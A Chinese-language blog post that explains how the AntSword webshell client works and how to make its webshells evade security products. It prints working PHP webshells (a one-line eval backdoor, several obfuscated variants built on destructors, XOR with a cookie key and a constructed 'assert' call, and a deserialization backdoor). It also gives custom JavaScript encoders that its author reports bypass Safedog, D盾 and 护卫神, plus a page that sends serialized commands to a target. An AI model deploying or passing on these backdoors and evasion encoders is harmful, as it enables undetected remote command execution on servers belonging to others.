蚁剑原理与魔改
一句话木马原理
一句话木马形如这样:
<?php @eval($_POST[password]);?>
使用蚁剑连接,连接成功
那为什么能成功呢?
首先要探寻一句话木马的原理
所以我们post传入的字符串会以php代码的形式运行,而php代码又能调用系统操作所以便成了木马
蚁剑的原理
知道了一句话木马的原理,那么我们康康蚁剑的原理,蚁剑用很多功能确实很方便。还支持编码,垃圾数值,随机数,自定义编码解码器。
首先选择代理设置,因为这里我们选择用burpsuite来抓取流量,
蚁剑连接来分析一下流量
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回输出缓冲区的内容
ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打开输出缓冲区
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前url路由的绝对路径
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //获取目录,uid,系统信息,用户等信息
然后我们就大概了解了一下蚁剑的功能,在康康蚁剑是如何获取数据的
@ini_set("display_errors", "0");
@set_time_limit(0); //不显示报错
function asenc($out){
return $out;
}; //用于返回信息
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "a170af01bc"; //用于返回信息,同时加入岁间前缀,对安全狗是一种绕过
echo @asenc($output);
echo "6d341a3c3a";
}
ob_start();
try{
$F=base64_decode(substr($_POST["hfdce8c1b4e4ef"],2)); //base64解码post传入的另一个数据
$P=@fopen($F,"r"); // 进行读取文件的操作
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);;
}
catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //报错信息
原理还是很好理解的,但是不明白为什么要令外post一个数据再进去文件内的传递,难道是面对对象编写的原因,还是令有好处,但是如果整体个人觉得更容易混淆流量,不过问题不大,后面还要编码更多的参数,才能绕过安全🐕
编码器原理
蚁剑自带变量,支持我们自定义编码和加密方式来混淆传入的主变量(不知道叫啥名字就就是连接密码的那个变量)的参数
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
代码作者已经给了注释很好理解,然后我们就可以开心的构造自己的编码方式来绕过安全狗了。
免杀小例子
这里给了例子吧。直接使用双层base64,我丢尽然还能免杀(后来测试发现),学长聊天说双base64能过🐕,我起初不信,尝试了一下,发现不行。写这篇文章的时候尝试一下还是不行,然后发现是因为我的webshell没有做免杀处理,被🐕直接给扫出来,然后就不管你的流量了直接杀,wogiao!牛皮!!
双base64蚁剑编码器
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data['_'] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
//data[pwd] = `${data['_']}"));`;
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
免杀的webshell
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
webshell是能够免杀安全🐕和D盾和护卫神的,其他的没测试
xor_random_base64免杀
编码器:
/**
* php::base64编码器
* Create at: 2020/11/19 21:20:31
*lnng.top
*/
'use strict';
module.exports = (pwd, data, ext = {}) => {
let randomID = `x${Math.random().toString(16).substr(2)}`;
function xor(payload) {
let crypto = require('crypto');
let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
key = key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 26]
}
cipher = cipher.map(t => String.fromCharCode(t)).join("")
cipher = Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
// 生成一个随机变量名
let num = Math.floor(Math.random()*15);
let randomStr = `${Math.random().toString(16).substr(num)}`;
//data['password'] = 15-num;
//data[pwd] = `eval(base64_decode("${data['_']}"));`;
//data[pwd]=xor(data[pwd]);
//data[pwd] = `${randomStr}` + data[pwd] + `${randomStr}`;
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
//if (_ === 'num') { continue };
//if (_ === 'password') { continue };
ret[_] = Buffer.from(data[_]).toString('hex');
//ret[_] = Buffer.from(data[_]);
}
//ret[password] = data['password'].toString('hex');
ret['password'] = 15-num;
ret[pwd] = `eval(base64_decode("${data['_']}"));`;
ret[pwd] = xor(ret[pwd]);
ret[pwd] = `${randomStr}` + ret[pwd] + `${randomStr}`
//ret[pwd] = ret[pwd].toString('hex');
return ret;
//删除原有payload
//delete data['_'];
//返回编码器处理后的payload数组
//return data;
}
免杀的webshell(密码username)
<?php
header('HTTP/1.1 404');
class Cookie{
function __construct(){
$password = &$password1;
$password1 = $_REQUEST['password'];
$num = &$password;
$num = $_REQUEST['password'];
if(is_numeric($num)){
$post=base64_decode(substr(@$_REQUEST['username'],$num,-$num));
}
return $post;
}
function decode(){
$key=$_COOKIE['PHPSESSID'];
$post = $this->__construct();
for($i=0;$i<strlen($post);$i++){
$k = $i%26;
$s = $post[$i];
$post[$i] = $s ^ $key[$k];
}
return $post;
}
function __destruct(){
foreach($_POST as $k => $v){
if ($k!='password'&&$k!='username') {
$b = &$a;
$a = $v;
$c = &$b;
$_POST[$k]=hex2bin($c);
}
}
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$lnng1 = &$lnng;
$lnng = $this->decode();
$lnng2 = $lnng1;
return @$a(`/**123**/`.$lnng2.`/**123**/`);
}
}
$check=new Cookie();
?>
反序列化免杀(这里和蚁剑没关系)
写的非常简单,自己只是测试着玩,可以写的更加完善,主要是思路
接近有漏洞的代码就可以免杀(个人理解,请大佬指教)
客户端webshell
<?php
class Lnng{
var $lnng;
function __destruct(){
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
@$a($this->lnng);
}
}
$lnng = unserialize($_POST['lnng']);
?>
服务端自己写了一个php页面非常的简陋,菜哭了我
<!DOCTYPE html>
<html>
<head>
<title>php序列化webshell</title>
</head>
<body>
<form method="post" action="">
<p>请输出url,例如http://192.168.124.141/12.php</p>
<input type="text" name="ip" style="width:400px; height:30px;" value="<?php if(isset($_POST['ip'])){echo $_POST['ip'];}?>" />
<br>
<p>请输出命令,内部命令执行方式assert(你输入的值)</p>
<input type="text" name="command" style="width:400px; height:30px;" value="<?php if(isset($_POST['command'])){echo $_POST['command'];}?>"/>
<input type="submit" value="提交" />
</form>
</body>
</html>
<?php
//header("Content-Type:text/html;charset=gb2312");
class Lnng{
var $lnng;
function __destruct(){
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
//@$a($this->lnng);
}
}
$lnng = new Lnng();
@$lnng->lnng = $_POST['command'];
//echo $_POST['command'];
$lnng = serialize($lnng);
@$ip = $_POST['ip'];
//echo $ip;
$data = array('lnng'=>$lnng);
$requestBody = http_build_query($data);
$context = stream_context_create(['http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody), 'content' => $requestBody]]);
@$response = file_get_contents($ip, false, $context);
echo iconv("GB2312","UTF-8",$response);
//echo $response;
?>
解码器原理
/**
* php::base64解码器
* Create at: 2020/11/21 17:15:24
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
官方注释很清楚这里就不弄了,而且我觉得蚁剑自带的base64啥的解码器完全够用,流量的混淆根本没法猜,有随机的前缀后缀是你所传参的时候传过去的,所有我没整就过🐕了。
蚁剑RSA
RSA一种基于密码学的非对称加密来混淆流量的方法,先用私钥对要加密的东西进行加密,然后用公钥解密,所以我们把公钥放入webshell里面,就可实现对流量的混淆
RSA的原理利用的是数论中的mod运算,不可破解的原因就是一个大数不易分解为两个素数的乘积,所以便可实现加解密。
同样的RSA混淆流量对CTF的AWD模式也有好处,就是别人没法通过查看自己的webshell,来连接其他的人webshell,因为你如果能打下来不可能只种一个webshell
参考:先知社区_从0到1掌握AWD攻防之RSA必杀
蚁剑的RSA使用方式很简单
使用前提,目标要php开启ssl,这个也是这个加密方法的缺陷,不开启没法调用解密函数
开启openssl方法
打开iphp.ini
搜索extension=php_openssl.dll,把前面的分号取消,然后重启web服务
在编码器的位置
然后创建一个
然后将这个位置的webshell上传,写入啥的弄到目标
然后连接的时候选择你创建的编码器就好了,测试了一下,安全🐕和护卫神不拦截,D盾可以扫描出来但是危险等级不高。
对于AWDctf利用蚁剑作者针对RSA也加了一个方法
在RSA编码器的位置加入下面代码,什么作用呢,在awd中别人抓取你的webshell读取flag流量进行转发到其他服务器中也可以获得flag,所以这里设置时效为5秒,可以设置更短。
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
参考文章及说明
学蚁致用
最后欢迎访问我的个人博客:https://lnng.top/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担